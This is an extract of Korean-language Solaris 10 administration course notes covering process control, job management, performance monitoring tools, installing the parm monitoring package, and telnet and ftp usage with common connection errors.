274 [ 참고 ] kill 명령어사용법 # kill PID /* 프로세스정상종료 */ # kill -15 PID /* 프로세스정상종료 */ # kill -TERM PID /* 프로세스정상종료 */ # kill -9 PID /* 프로세스강제종료 */ # kill -KILL PID /* 프로세스강제종료 */ [EX1] kill -9 명령어실습 [TERM1] 사용자윈도우 # telnet localhost user01 사용자로로그인 $ id uid=4024(user01) gid=1(other) [TERM2] 관리자윈도우 # who -> 로그인된사용자목록확인 # w 5:24오후 up 9:01, 4 users, load average: 0.02, 0.01, 0.01 User tty login@ idle JCPU PCPU what user01 pts/8 5:24오후 -ksh... # ps -U user01 PID TTY TIME CMD 1185 pts/8 0:00 ksh # kill > user01 사용자는로그아웃 (Logout) 된다

275 [ 참고 ] pgrep 명령어 & pkill 명령어 pgrep 명령어 l pgrep = ps + grep l 특정프로세스가떠있는지확인하는정도에사용 # ps -ef grep inetd grep -v grep root :07:00? 0:05 /usr/lib/inet/inetd start # pgrep inetd 186 # pgrep -l inetd 186 inetd # pgrep -lf inetd 423 /usr/lib/inet/inetd start pkill 명령어 l pkill = ps + kill l 다중프로세스종료시에사용 # ps -ef grep inetd # kill -1 <inetd's PID> or # pkill -1 inetd

276 [Q & A] ps 명령어의 -l 옵션수행시 SZ 의의미는무엇인가요? ps 명령어의 -l 옵션을사용하면나오는 SZ 는프로세스의 pagesize 의양을나타냅니다. 결과적으로는프로세스의메모리크기를나타냅니다. 메모리크기는프로세스가사용하고있는가상메모리 (Virutal Memory: Physical Memory + Swap) 크기입니다. 또한 SZ 필드에나타나는숫자는 pagesize 개수를나타냅니다. 예를들어 SZ 필드에 384 출력이된다면, 이것은 (384 * `pagesize`)bytes 만큼이됩니다. ( 솔라리스인텔용의 pagesize 기본단위는 4k, 스팍용의 pagesize 기본단위는 8k 입니다.) # man ps SZ (l) The total size of the process in virtual memory, including all mapped files and devices, in pages. See pagesize(1). # ps -l F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD 0 S d3cfa d3cfa2bc pts/4 0:01 ksh # pagesize /* intel : 4096 bytes, sparc : 8192 bytes */ 4096 # expr 384 \* 4096 /* intel 용이라고가정 */ # expr / # prstat -u root -n 5 /* -u : user, -n : number */ PID USERNAME SIZE RSS STATE PRI NICE TIME CPU PROCESS/NLWP 774 root 4044K 1328K sleep :02:14 0.2% vmware-guestd-b/ root 7808K 4412K sleep :00:13 0.2% dtterm/ root 3256K 2712K cpu :00:00 0.1% prstat/ root 129M 58M sleep :00:36 0.1% java/ root 1536K 988K sleep :00:00 0.0% ksh/1 Total: 61 processes, 225 lwps, load averages: 0.01, 0.01, 0.01 <CTRL + C> # man prstat rss Sort by resident set size. size Sort by size of process image. ( 결론 ) ps 명령어의 SZ 값은해당프로세스의가상메모리의크기 (RAM + SWAP) 를나타냅니다

277 프로세스관리 (2) 프로그램을실행하면하나의프로세스가뜨게되고, 이것을하나의잡 (Job) 이라고표시한다. 다음은잡 (Job) 단위로관리하는방법에대한소개이다. (1). 잡 (Job) 실행 잡실행방법 포그라운드실행방법 (EX: # smc ) 백그라운드실행방법 (EX: # smc &) bg fg [EX] 프로세스실행 # sleep 500 & /* 백그라운드프로세스실행 */ [1] 576 # sleep 600 & /* 백그라운드프로세스실행 */ [2] 579 l [1] : Job ID l 576 : Process ID (2). 잡 (Job) 확인및작업이동 Process Verification [EX] 잡 (Job) 작업이동 # jobs /* 백그라운드프로세스확인 */ [2] + Running sleep 600 & [1] - Running sleep 500 & # fg %1 /* %1 번작업포그라운드로전환 */ sleep 500 <CTRL + Z> ^Z[1] + Stopped (SIGTSTP) [1] sleep 500 & <----- '<CTRL + Z>' 입력 sleep 500 & # bg %1 /* %1 번작업백그라운드로전환 */

278 (3). 잡 (Job) 종료 프로세스 ( 잡 ) 종료 (Process Exit) # kill %1 /* 프로세스종료 (Process Termination) */ # stop %1 /* 프로세스정지 (Process Stop) */ <CTRL+Z> /* 포그라운드프로세스정지 (Foreground Process Stop) */ stop %1 /* 백그라운드프로세스정지 (Background Process Stop) */ [EX] 프로세스 (Job) 종료 # kill %1 /* %1 번작업종료 */ [1] + Terminated sleep 500 & # kill %2 /* %2 번작업종료 */ [2] + Terminated sleep 600 & [ 참고 ] jobs, fg, bg 명령어실행가필요한경우 l console 터미널작업시에필요하다. l 관리자의작업이 console 에서작업하는경우들이많다. l 따라서관리자는 jobs, fg, bg 명령어들의사용방법을알아두어야한다. (Console 에서작업 ) # find / -name file1.txt -type f > file.log & : 예상작업종료시간 (30 분 ) # CMD # fg %1 <CTRL + Z> # bg %1 # CMD ( 정리 ) Process Admin l Process Information l /proc/pid : pcmd(ps, pstack, pfile, ptree, pmap,...) l PID, PPID, UID/EUID, Control Terminal l Process Admin(1) l Process Excution l fg, bg (# smc, # smc &) l Process Verification l ps -ef grep inetd l OPTIONS : -l, -f -e, -a, -U, -t l Process Termination l kill -[ ] PID PID l Process Admin(2) l Jobs Excution l fg, bg l Jobs Verification l jobs l fg %1, bg %1 l Jobs Termination l kill %1 l <CTRL + Z>, stop %

279 [ 참고 ] 솔라리스에서실시간프로세스를확인하는명령어 sdtprocess (GUI, Graphic User Interface) prstat (CLI(Command Line Interface), TUI(Text User Interface)) smc (GUI, Total Solution) ( ㄱ ) sdtprocess 프로그램 # sdtprocess & sdtprocess 기능 (Function) 정열하는방법 (CPU, MEM Sorting) 프로세스찾기 (Find Process) Refresh 시간지정방법 (Sampling Time) 프로세스종료 (Process Kill) -> sdtprocess 프로그램은앞으로솔라리스버전에서는지원하지않을예정이다. ( ㄴ ) prstat 프로그램 # prstat [ 참고 ] prstat 프로세스모니터링 > prstat 명령어는 CLI 기반의명령어이기때문에, GUI 기반의툴을사용할수없는경우에사용하면편리하다. # prstat -u root (# prstat -u oracle, # prstat -u wasuser) # prstat -u root -n 5 # prstat -u root p PID,PID # prstat -s size (# prstat -s rss -n 10) # prstat -s cpu # prstat 2 (2 초단위로모니터링 ) # prstat 2 5 (2 초단위로 5 번실행 ) [TERM1] root 사용자의윈도우 # prstat -u user01 [TERM2] user01 사용자의윈도우 # telnet localhost user01 사용자로로그인 $ vi /etc/passwd :q! $ exit # smc & -> This Computer( ) -> System Status -> Performance -> System -> Summary -> This Computer( ) -> System Status -> Process [ 참고 ] UNIX 실시간프로세스확인명령어 SUN Solaris : smc, prstat, sdtprocess, sdtperfmeter HP HP-UX : glance, top IBM AIX : nmon, topas [ 참고 ] 유닉스성능점검툴 sar system activity reporter( 예 : # sar 2 5) vmstat report virtual memory statistics( 예 : # vmstat 2 5) iostat report I/O statistics( 예 : # iostat 2 5) netstat show network status( 예 : # netstat -s, # netstat -m, # netstat -i 2) mpstat report per-processor or per-processor-set statistics( 예 : # mpstat 2 5)

280 [ 참고문서 ] 프로세스가사용하고있는디스크사용량확인방법 l -> " 솔라리스강좌 [ 관리자 ]" -> 301번자료 Toolkits DTraceToolkit K9 Toolkit SE Toolkit MemTool DProfile [ 참고 ] 성능관련툴 System Statistics acctcom process accounting busstat Bus hardware counters cpustat CPU hardware counters iostat IO &NFS statistics kstat display kernel statistics mpstat Processor statistics netstat Network statistics nicstat - Enhanced network statistics nfsstat NFS client and server stats sar kitchen sink utility vmstat virtual memory stats fsstat - File system statistics ::memstat - Memory Summary filestat - UFS Block Layout Statistics statit - System Statistics Utility Process Statistics cputrack - per-processor hw counters pargs process arguments pflags process flags pcred process credentials pldd process's library dependencies psig process signal disposition pstack process stack dump pmap process memory map pfiles open files and names prstat process statistics ptree process tree ptime process microstate times pwdx process working directory Process Control pmap - Show process memory mappings pgrep grep for processes pkill kill processes list pstop stop processes prun start processes prctl view/set process resources pwait wait for process preap reap a zombie process plgrp - examine and modify process home lgroup and lgroup affinities pmadvise - apply madvise(3c) to address segments of a process Process Tracing/Debugging abitrace trace ABI interfaces dtrace trace the world mdb debug/control processes truss trace functions and system calls snoop - debug and trace network traffic collect/analyzer - Sun Studio tools for binary code development and runtime analysis (not bundled with Solaris, but freely downloadable)

281 Kernel Tracing/Debugging dtrace trace and monitor kernel lockstat monitor locking statistics lockstat -k profile kernel mdb debug live and kernel cores Hotkernel - What is the kernel doing? [ 참고 ]

282 [ 참고 ] parm V7.1.2 (Performance Analysis Report Maker) > parm V7.1.2 Parm( 팜 ) 은시스템관리자가필수적으로해야하는기본업무를보다용의하게할수있도록도와주는프로그램이다. 또한시스템의성능분석을위한데이타를제공한다. 다음은시스템관리자의가장기본적인업무이다. 1) 시스템의자원을주기적으로모니터하여비정상적인상태를방지하여야한다. 2) 프로세스를주기적으로모니터하여비정상적으로 CPU 나메모리를많이사용하는프로세스가있는지조사하여야한다 3) 시스템의로그화일을주기적으로분석하여오류메세지나경고메세지에대해적절한조치를취하여야한다. 4) 시스템의주요데이타에대하여주기적으로 Backup 을받아야한다. 이중에서 1), 2), 3) 항목에대하여 Parm 은사용자에게매우유용한도구이다. Parm V7.1.2 은 Solaris 7, 8, 9, 10 에서실행되며, 시스템통계정보를사용자가쉽게볼수있도록하는패키지이다. Parm 에는 Solaris 명령어 vmstat, iostat, netstat, mpstat, sar 를통해수집한데이타를사용자가보기쉽도록 GIF 화일포멧의그래프를만들어주는명령어 (gvmstat, giostat, gnetstat, gmpstat, gsar) 와프로세스의상태를모니터하는명령어 (psinfo) 와실시간으로시스템의통계정보를모니터하는툴 (perfmon) 과 vmstat, iostat, netstat 명령어의출력을실시간으로받아서그래프를그려주는 vmmon, iomon, netmon, tcpmon 이포함되어있다. 그외도여러명령어들이있다. 그리고시스템의통계정보를주기적으로받아서분석그래프를보여주는 ParmView 와실시간으로통계정보를모니터할수있는 ParmClient 와시스템의로그화일을감시할수있는기능을제공한다. CPU 사용량모니터링 (1) CPU 사용량모니터링 (2) 시스템전반적인모니터링 (1) 시스템전반적인모니터링 (2)

283 [EX1] parm 설치과정 (Solaris) <-----> (Winodws PC) parm 설치브라우저 ( 모니터링 ) 1 윈도우 PC 로프로그램다운로드 => " 다운로드 " 선택 => 플랫폼에맞는 parm 프로그램다운로드 - parm.v10.0.x86.pkg.z 2 솔라리스서버로패키지전송 # ls (# rcp :/root/packages/parm/* /test) parm.v10.0.x86.pkg.z 3 패키지압축해제및설치 # uncompress parm.v10.0.x86.pkg.z # pkgadd d parm.v10.0.x86.pkg The following packages are available: 1 JSparm parm V Performance Analysis Report Maker (i386) V10.0 Select package(s) you wish to process (or 'all' to process all packages). (default: all) [?,??,q]: all Processing package instance <JSparm> from </test/parm.v10.0.x86.pkg> parm V Performance Analysis Report Maker(i386) V10.0 JunSoft; Using </opt> as the package base directory. ## Processing package information. ## Processing system information. ## Verifying disk space requirements. ## Checking for conflicts with packages already installed. ## Checking for setuid/setgid programs. The following files are being installed with setuid and/or setgid permissions: /opt/jsparm/bin/amd64/jtop <setuid root> /opt/jsparm/bin/amd64/perfmon <setuid root> /opt/jsparm/bin/amd64/procinfo <setuid root> /opt/jsparm/bin/amd64/psinfo <setuid root> /opt/jsparm/bin/i86/jtop <setuid root> /opt/jsparm/bin/i86/perfmon <setuid root> /opt/jsparm/bin/i86/procinfo <setuid root> /opt/jsparm/bin/i86/psinfo <setuid root> Do you want to install these as setuid/setgid files [y,n,?,q] y... ( 중략 )... /opt/jsparm/bin/mmonx <linked pathname> /opt/jsparm/bin/mmonx_proc <linked pathname> /opt/jsparm/bin/parmagentx <linked pathname> /opt/jsparm/bin/perfmon <linked pathname> /opt/jsparm/bin/proctime <linked pathname> /opt/jsparm/bin/psinfo <linked pathname> /opt/jsparm/parmview/mrepx.cgi <linked pathname> Installation of <JSparm> was successful. 4 라이센스등록 => " 라이센스 " 선택 => 적당한라이센스요청 라이센스파일예제 # vi /etc/jslicense.d/parm.lic # # Demo License for Parm V7 (PARM_ENT: Enterprise Server Edition) # # Archecture: Intel (Solaris x86) # Host Name: solaris249 # Host ID: 24f8cb39 # Expired Date: Feb 05,

284 # SERVER solaris249 24f8cb39 LICENSE parm 7.x intel 05-Feb-2012 B89F0570D C1A89A4 5 통계정보수집설정 (1분단위로통계정보수집 ) # cp /opt/jsparm/etc/parmview.conf /etc # sh /etc/rc2.d/s90mmonx start mmonx[1907] is started gwserv[1909] is started on port (Windows PC) 에서확인 [ 참고 ] # pkgchk -v JSparm (# ls -altr /var/adm/pkg)

285 Solaris 10 Essential Guide 8. Remote Connection & File Transfer l l l l l Introducing an Example Network Remote Connection & FileTransmisstion History Remote Connection & File Transmission for SystemV Remote Connection & File Transmission for BSD Remote Connection & File Transmission for Security 네트워크관련용어 LAN(Local Area Network) A network that covers a small area, usually less than a few thousand feet or meters. WAN(Wide Area Network) A network that can span thousands of miles or kilometers. [ 참고 ] LAN( 근거리통신망, Local Area Network) LAN[ 랜 ] 이란 300m 이하의통신회선으로연결된 PC, 메인프레임, 워크스테이션들의집합을말한다. LAN 은컴퓨터사이의전류나전파신호가정확히전달될수있는거리, 즉한기관의빌딩내에설치된컴퓨터장비들을직원들이가장효과적으로공동사용할수있도록연결된고속의통신망이다 년대말에서 1980 년초제록스사의한연구소에서 LAN 에관한중요한업적이이루어졌다. 이연구소에서이더넷 (Ethernet ; 공기가없는진공상태의공간에전파가흘러갈수있는물질이존재한다고가정하여지은독일어단어 " 에테르 " 에서따온말 ) 이라고이름을붙인컴퓨터연결방법이처음으로실용화되었다. [ 참고 ] WAN( 광역통신망, Wild Area Network) WAN[ 왠 ] 이란지리적으로흩어져있는통신망을의미하는것으로서근거리통신망, 즉 LAN 과구별하여보다넓은지역을커버하는통신구조를나타내는용어로사용된다. 보통 LAN 의범위는 1 개의빌딩이나학교, 연구소및생산공장등의일정구역내인것에반해, WAN 은넓은지역을연결하는네트웍를지칭하는것으로지방과지방, 국가와국가, 또는대륙과대륙등과같이지리적으로완전하게떨어져있는장거리지역사이를연결하고있는통신망이다. 광역통신망은사설망일수도있고임차한망도될수있지만, 이용어는보통공공망까지를포함하는개념을내포하고있다. 지역적으로 LAN 과 WAN 사이에위치하는중간정도크기의네트웍을특히 MAN 이라고부른다

286 원격접속 (Remote Connection) 과파일전송 (File Transmission) Remote Connection & File Transmission History System V BSD Linux Remote telnet rlogin, rsh ssh Connection File ftp rcp scp, sftp Transfer 원격접속명령어 : telnet, rlogin, rsh, ssh 파일전송명령어 : ftp, rcp, scp, sftp 암호화를하지않는명령어 : telnet, ftp, rlogin, rsh, rcp 암호화를하는명령어 : ssh, scp, sftp [ 참고 ] 패킷암호화에대해서위의표에있는 System V / BSD 계열의모든명령어는패킷을암호화시키지않는단점을가지고있다. 그래서원격접속과파일전송을할때패킷의내용을노출시킬수있게된다. 그래서최근에는 ssh, scp, sftp 프로그램과같이패킷을암호화할수있는프로그램을권장하고있다. 다음은 tenlet 명령어를통해다른서버에접속하는경우 snoop 명령어를통해패킷을캡쳐하여, telnet 서비스가기본적으로패킷을암호화하지않고통신하는것을실습한예이다. HOSTA 컴퓨터는자신의시스템 IP 를 HOSTB 는다른서버시스템의 IP 를적으면된다. 그리고 HOSTA 로 telnet 명령어를통해서비스요청을하고인증및명령어를수행하면, snoop 명령어를통해모니터링되는창에서는 2 대의시스템간에통신하는패킷을볼수있다. [EX] 패킷암호화실습 [TERM1] # snoop XXX [TERM2] # telnet root 사용자로로그인 # ls # exit [TERM1] # snoop XXX [TERM2] # ssh user01@ yes user01 사용자의암호입력 # ls # exit ( 결론 ) telnet 명령어 ( 암호화하지않는명령어 ) 보다는 ssh 명령어 ( 암호화방식의명령어 ) 를사용할것을권장한다

287 원격접속 & 파일전송명령어 (System V 계열 ) Remote Connection & File Transmission for System V telnet 명령어 ftp 명령어 (1). telnet CMD NAME telnet - user interface to a remote system using the TELNET protocol DESCRIPTION The telnet utility communicates with another host using the TELNET protocol. If telnet is invoked without arguments, it enters command mode, indicated by its prompt, telnet>. In this mode, it accepts and executes its associated commands. See USAGE, telnet Commands, below. If it is invoked with arguments, it performs an open command with those arguments. If, for example, a host is specified the connection goes through hosts hop1 and hop2, using loose source routing to end at host. If a leading! is used, the connection follows strict source routing. Note that when telnet uses IPv6, it can only use loose source routing, and the connection ignores the!. Once a connection has been opened, telnet enters input mode. In this mode, text typed is sent to the remote host. The input mode entered will be either "line mode", "character at a time", or "old line by line", depending upon what the remote system supports. In "line mode", character processing is done on the local system, under the control of the remote system. When input editing or character echoing is to be disabled, the remote system will relay that information. The remote system will also relay changes to any special characters that happen on the remote system, so that they can take effect on the local system. In "character at a time" mode, most text typed is immediately sent to the remote host for processing. In "old line by line" mode, all text is echoed locally, and (normally) only completed lines are sent to the remote host. The "local echo character" (initially ^E) may be used to turn off and on the local echo. (Use this mostly to enter passwords without the password being echoed.). If the "line mode" option is enabled, or if the localchars toggle is TRUE (the default in "old line by line" mode), the user's quit, intr, and flush characters are trapped locally, and sent as TELNET protocol sequences to the remote side. If "line mode" has ever been enabled, then the user's susp and eof are also sent as TELNET protocol sequences. quit is then sent as a TELNET ABORT instead of BREAK. The options toggle autoflush and toggle autosynch cause this action to flush subsequent output to the terminal (until the remote host acknowledges the TELNET sequence); and to flush previous terminal input, in the case of quit and intr. While connected to a remote host, the user can enter telnet command mode by typing the telnet escape character (initially ^]). When in command mode, the normal terminal editing conventions are available. Pressing <RETURN> at the telnet command prompt causes telnet to exit command mode

288 (1-1). telnet 명령어실행모드 telnet 명령어의실행모드 (telnet Remote Connection Excution Mode) 대화형모드 (Interractive Mode) 비대화형모드 (Noninterractive Mode) telnet 명령어실행모드 ( 비대화형모드 ) # telnet ( 대화형모드 ) # telnet telnet> open telnet help 화면 # telnet telnet> help Commands may be abbreviated. Commands are: close close current connection logout forcibly logout remote user and close the connection display display operating parameters mode try to enter line or character mode ('mode?' for more) open connect to a site quit exit telnet send transmit special characters ('send?' for more) set set operating parameters ('set?' for more) unset unset operating parameters ('unset?' for more) status print status information toggle toggle operating parameters ('toggle?' for more) slc change state of special charaters ('slc?' for more) z suspend telnet! invoke a subshell environ change environment variables ('environ?' for more)? print help information <return> leave command mode

289 (1-2). 기본사용법 ( 명령어형식 ) # telnet < 호스트이름 / 아이피 > < 포트번호 > (telnet 명령어사용법 ) # telnet # telnet (/etc/services 정의 ) # telnet solaris254 (/etc/hosts 정의, /etc/inet/ipnodes 정의 ) /etc/inet/hosts <--- /etc/hosts /etc/inet/hosts <--- /etc/inet/ipnodes [ 참고 ] 잘알려진서비스포트 (Well-kown Port Number, 0 ~ 1023, 0 ~ 65535) 포트 서비스명 ,21 FTP 22 SSH 23 TELNET 25 SMTP 53 DNS 67,68 DHCP(Bootp) 80 WEB 110 POP3 111 sunrpc 123 NTP 143 IMAP [ 참고 ] telnet 명령어수행시암호를잘못입력한경우 telnet 명령어를통해상대편서버로들어가는경우사용자 ID 를입력하고암호를입력한다. 이때사용자암호를잘못입력하게되면, 약 0 ~ 5 초정도의시간간격 (Time Interval) 을기다리게된다. 기본값은 4 초로되어있다. 이값에대한정의는 /etc/default/login 파일에서 SLEEPTIME 변수를통해설정이가능하다. 이런경우기다리지않고탈출문자 (Escape Character) 를입력하고, quit 명령어를통해 telnet 프롬프트에서빠져나간후다시시도하는것이암호를다시입력하는시간을기다리는것에비해빠르다. # telnet localhost Trying Connected to localhost. Escape character is '^]'. login: root Password: <----- 암호잘못입력 ( 암호 : k) Login incorrect login: <CTRL + ]> <----- Escape Charater 입력 telnet> quit <----- 'quit' 입력

290 (1.3) telnet 연결화면시에러메세지 telnet 명령어는원격접속하는명령어이다. 하지만어떤이유로해서서버에접속할수없게된다면, 이런경우원격접속시에러메세지를가지고문제의원인을일부알수있다. 상대편서버의이름을잘못지정한경우 상대편서버가정상적으로동작하지않는경우 상대편서버로로그인시암호가틀린경우 root 사용자로로그인시 CONSOLE 변수가지정이잘못된경우 상대편서버에서 TCP_Wrapper 로막고있는경우 상대편서버의이름을잘못지정한경우서버의도메인을알수없을경우 - /etc/hosts 파일의정의가되지않은경우 메세지 # telnet solaris250 <----- /etc/hosts 파일에 solaris250 없음 solaris250: Unknown host <----- 메세지확인 or solaris250: node name or service name not known 서버가정상적으로동작하지않는경우 - 서버의아이피를잘못지정한경우 - 서버 ( 서비스데몬 ) 가 Down 되어져있는경우 메세지 # telnet < 아이피가없음 Trying telnet: Unable to connect to remote host: Connection refused <----- 메세지확인 or telnet: Unable to connect to remote host: Connection timed out <----- 메세지확인 # ping no answer from ( 주의 ) 메세지를받기위해서는약 30 초정도를기다려야한다. 로그인시암호가틀린경우 - 로그인시사용자의암호를잘못입력한경우 메세지 # telnet localhost Trying Connected to solaris254 Escape charater is '^]' login: user01 Password: <----- 틀린암호입력 ( 암호 : 12345) Login incorrect <----- 메세지확인

291 root 사용자로로그인시 CONSOLE 변수가잘못지정된경우 메세지 # telnet Trying Connected to Escape character is '^]'. login: root Password: <----- 정상암호입력 ( 암호 : knit) Not on system console <----- 메세지확인 Connection to closed by foreign host # vi /etc/default/login [ 수정전 ] #CONSOLE=/dev/console <----- 주석제거 [ 수정후 ] CONSOLE=/dev/console l "#CONSOLE=/dev/console" : root 사용자로로그인이가능 l CONSOLE=/dev/console : root 사용자로로그인이불가능 # telnet localhost root 사용자로로그인 ( 복원 ) CONSOLE 변수 -> 이전상태로복원 (#CONSOLE=/dev/console) TCP_Wrapper 에의해막힌경우 - TCP_Wrapper 에의해막힌경우 - Firewall 에의해막힌경우 (ipfilter, Screen Lite) # inetadm -p NAME=VALUE bind_addr="" bind_fail_max=-1 bind_fail_interval=-1 max_con_rate=-1 max_copies=-1 con_rate_offline=-1 failrate_cnt=40 failrate_interval=60 inherit_env=true tcp_trace=true tcp_wrappers=false connection_backlog=10 # inetadm -M tcp_wrappers=true /* tcp_wrapper 기능을사용 */ # echo "ALL: ALL" > /etc/hosts.deny /* tcp_wrapper 설정파일 */ 메세지 # telnet Trying Connected to solaris254 Escape charater is '^]' Connection to solaris254 closed by foreign host. <----- 메세지확인 ( 복원 ) # inetadm -M tcp_wrappers=false # inetadm -p # rm /etc/hosts.deny

292 (2). ftp CMD NAME ftp - file transfer program DESCRITION The ftp command is the user interface to the Internet standard File Transfer Protocol (FTP). ftp transfers files to and from a remote network site. The host and optional port with which ftp is to communicate may be specified on the command line. If this is done, ftp immediately attempts to establish a connection to an FTP server on that host. Otherwise, ftp enters its command interpreter and awaits instructions from the user. When ftp is awaiting commands from the user, it displays the prompt ftp>. OPTIONS -i Turns off interactive prompting during multiple file transfers. -n Does not attempt "auto-login" upon initial connection. If auto-login is not disabled, ftp checks the.netrc file in the user's home directory for an entry describing an account on the remote machine. If no entry exists, ftp prompts for the login name of the account on the remote machine (the default is the login name on the local machine), and, if necessary, prompts for a password and an account with which to login. (2-1). ftp 명령어사용법 ftp [ 옵션 ] [ 호스트이름 / 아이피 ] [ 포트 ] ftp> help ftp> bin (solaris9 default) ftp> ascii(solaris8 default) ftp> hash ftp> prompt ftp> mget filename ftp> mput filename ftp> quit ftp> bye [ 참고 ] FTP Client Tools(GUI) - gftp 다운받아서설치하면된다. [ 그림 ] gftp 실행화면

Solaris Express Developer Edition

Solaris Express Developer Edition Solaris Express Developer Edition : 2008 1 Solaris TM Express Developer Edition Solaris OS. Sun / Solaris, Java, Web 2.0,,. Developer Solaris Express Developer Edition System Requirements. 768MB. SPARC

More information

Copyright 2004 Sun Microsystems, Inc Network Circle, Santa Clara, CA U.S.A..,,. Sun. Sun. Berkeley BSD. UNIX X/Open Company, Ltd.. Sun, Su

Copyright 2004 Sun Microsystems, Inc Network Circle, Santa Clara, CA U.S.A..,,. Sun. Sun. Berkeley BSD. UNIX X/Open Company, Ltd.. Sun, Su Java Desktop System 2 Sun Microsystems, Inc. 4150 Network Circle Santa Clara, CA 95054 U.S.A. : 817 7757 10 2004 9 Copyright 2004 Sun Microsystems, Inc. 4150 Network Circle, Santa Clara, CA 95054 U.S.A..,,.

More information

Sun Java System Messaging Server 63 64

Sun Java System Messaging Server 63 64 Sun Java System Messaging Server 6.3 64 Sun Java TM System Communications Suite Sun Microsystems, Inc. 4150 Network Circle Santa Clara, CA 95054 U.S.A. : 820 2868 2007 7 Copyright 2007 Sun Microsystems,

More information

<4D F736F F F696E74202D20BFEEBFB5C3BCC1A6BDC7BDC D31C7D0B1E229202D20BDA92E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20BFEEBFB5C3BCC1A6BDC7BDC D31C7D0B1E229202D20BDA92E BC8A3C8AF20B8F0B5E55D> 쉘 (Shell) 환경 운영체제실습 목차 Ⅴ. 쉘 (shell) 환경 5.1 쉘 (shell) 이란? 5.2 쉘 (shell) 기능 5.3 쉘 (shell) 변수 5.4 기타기능 5.5 쉘 (shell) 프로그래밍 5.1 쉘 (shell) 이란? 쉘 (Shell) 사용자가입력한명령어를해석해주는명령어해석기 (Command interpreter) 사용자와운영체제

More information

APOGEE Insight_KR_Base_3P11

APOGEE Insight_KR_Base_3P11 Technical Specification Sheet Document No. 149-332P25 September, 2010 Insight 3.11 Base Workstation 그림 1. Insight Base 메인메뉴 Insight Base Insight Insight Base, Insight Base Insight Base Insight Windows

More information

Copyright 2012, Oracle and/or its affiliates. All rights reserved.,.,,,,,,,,,,,,.,...,. U.S. GOVERNMENT END USERS. Oracle programs, including any oper

Copyright 2012, Oracle and/or its affiliates. All rights reserved.,.,,,,,,,,,,,,.,...,. U.S. GOVERNMENT END USERS. Oracle programs, including any oper Windows Netra Blade X3-2B( Sun Netra X6270 M3 Blade) : E37790 01 2012 9 Copyright 2012, Oracle and/or its affiliates. All rights reserved.,.,,,,,,,,,,,,.,...,. U.S. GOVERNMENT END USERS. Oracle programs,

More information

Microsoft PowerPoint - comp_prac_081223_2.pptx

Microsoft PowerPoint - comp_prac_081223_2.pptx Computer Programming Practice (2008 Winter) Practice 2 기본 Unix/Linux 명령어숙지 2008. 12. 23 Contents Linux commands Basic commands File and Directory User Data Filtering Process Etc Conclusion & Recommended

More information

[ 컴퓨터시스템 ] 3 주차 1 차시. 디렉토리사이의이동 3 주차 1 차시디렉토리사이의이동 학습목표 1. pwd 명령을사용하여현재디렉토리를확인할수있다. 2. cd 명령을사용하여다른디렉토리로이동할수있다. 3. ls 명령을사용하여디렉토리내의파일목록을옵션에따라다양하게확인할수

[ 컴퓨터시스템 ] 3 주차 1 차시. 디렉토리사이의이동 3 주차 1 차시디렉토리사이의이동 학습목표 1. pwd 명령을사용하여현재디렉토리를확인할수있다. 2. cd 명령을사용하여다른디렉토리로이동할수있다. 3. ls 명령을사용하여디렉토리내의파일목록을옵션에따라다양하게확인할수 3 주차 1 차시디렉토리사이의이동 학습목표 1. pwd 명령을사용하여현재디렉토리를확인할수있다. 2. cd 명령을사용하여다른디렉토리로이동할수있다. 3. ls 명령을사용하여디렉토리내의파일목록을옵션에따라다양하게확인할수있다. 학습내용 1 : 현재디렉토리확인 1. 홈디렉토리 - 로그인을한후, 사용자가기본으로놓이게되는디렉토리위치를홈디렉토리 (home directory)

More information

untitled

untitled Push... 2 Push... 4 Push... 5 Push... 13 Push... 15 1 FORCS Co., LTD A Leader of Enterprise e-business Solution Push (Daemon ), Push Push Observer. Push., Observer. Session. Thread Thread. Observer ID.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Install Linux Jo, Heeseung Download Programs Download VMWare player http://www.vmware.com/products/player/playerproevaluation.html Download Ubuntu iso file http://cslab.jbnu.ac.kr/_down/ubuntu-16.04.2-desktopamd64.iso

More information

Copyright 2012, Oracle and/or its affiliates. All rights reserved.,,,,,,,,,,,,,.,..., U.S. GOVERNMENT END USERS. Oracle programs, including any operat

Copyright 2012, Oracle and/or its affiliates. All rights reserved.,,,,,,,,,,,,,.,..., U.S. GOVERNMENT END USERS. Oracle programs, including any operat Sun Server X3-2( Sun Fire X4170 M3) Oracle Solaris : E35482 01 2012 9 Copyright 2012, Oracle and/or its affiliates. All rights reserved.,,,,,,,,,,,,,.,..., U.S. GOVERNMENT END USERS. Oracle programs, including

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 INSTALL LINUX Jo, Heeseung DOWNLOAD PROGRAMS Download VMWare player http://www.vmware.com/products/player/playerproevaluation.html Download Ubuntu iso file http://ubuntu.com - server, 64bit version http://cslab.jbnu.ac.kr/_down/ubuntu-18.04.2-live-serveramd64.iso

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate

목차 BUG offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate ALTIBASE HDB 6.1.1.5.6 Patch Notes 목차 BUG-39240 offline replicator 에서유효하지않은로그를읽을경우비정상종료할수있다... 3 BUG-41443 각 partition 이서로다른 tablespace 를가지고, column type 이 CLOB 이며, 해당 table 을 truncate 한뒤, hash partition

More information

LXR 설치 및 사용법.doc

LXR 설치 및 사용법.doc Installation of LXR (Linux Cross-Reference) for Source Code Reference Code Reference LXR : 2002512( ), : 1/1 1 3 2 LXR 3 21 LXR 3 22 LXR 221 LXR 3 222 LXR 3 3 23 LXR lxrconf 4 24 241 httpdconf 6 242 htaccess

More information

Backup Exec

Backup Exec (sjin.kim@veritas.com) www.veritas veritas.co..co.kr ? 24 X 7 X 365 Global Data Access.. 100% Storage Used Terabytes 9 8 7 6 5 4 3 2 1 0 2000 2001 2002 2003 IDC (TB) 93%. 199693,000 TB 2000831,000 TB.

More information

슬라이드 1

